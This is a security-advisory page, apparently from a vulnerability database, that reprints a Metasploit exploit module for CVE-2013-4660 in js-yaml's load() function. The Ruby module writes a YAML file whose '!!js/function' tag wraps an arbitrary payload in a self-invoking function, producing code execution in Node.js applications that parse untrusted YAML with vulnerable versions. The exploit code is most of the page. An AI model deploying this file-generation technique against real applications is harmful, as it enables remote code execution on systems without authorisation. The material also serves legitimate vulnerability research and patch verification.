Nodejs js-yaml load() Code Execution

2013.09.26
Credit: joev
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Nodejs js-yaml load() Code Exec', 'Description' => %q{ For node.js applications that parse user-supplied YAML input using the load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing function allows us to execute arbitrary javascript code. }, 'Author' => ['joev <jvennix[at]rapid7.com>'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-4660'], ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/'] ], 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS, 'Privileged' => false, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Jun 28 2013', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml']) ], self.class) end def exploit p = payload.encoded print_status("Creating '#{datastore['FILENAME']}' file...") file_create("a: !!js/function >\n (function(){ #{p} })();") end end

References:

https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top